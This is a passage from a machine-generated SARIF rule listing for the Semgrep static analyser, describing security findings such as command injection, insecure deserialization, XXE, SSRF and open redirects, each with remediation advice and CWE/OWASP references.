commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","id":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","name":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","id":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","name":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal","id":"python.lang.deserialization.tainted-marshal.tainted-marshal","name":"python.lang.deserialization.tainted-marshal.tainted-marshal","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-marshal.tainted-marshal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","id":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","name":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","id":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","name":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference](https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","id":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","name":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"help":{"markdown":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public)\n - [https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html](https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html)\n","text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","id":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","name":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"help":{"markdown":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","id":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","name":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","id":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","name":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse](https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","id":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","name":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"help":{"markdown":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","id":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","name":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf","id":"csharp.lang.security.ssrf.rest-client.ssrf","name":"csharp.lang.security.ssrf.rest-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.rest-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n - 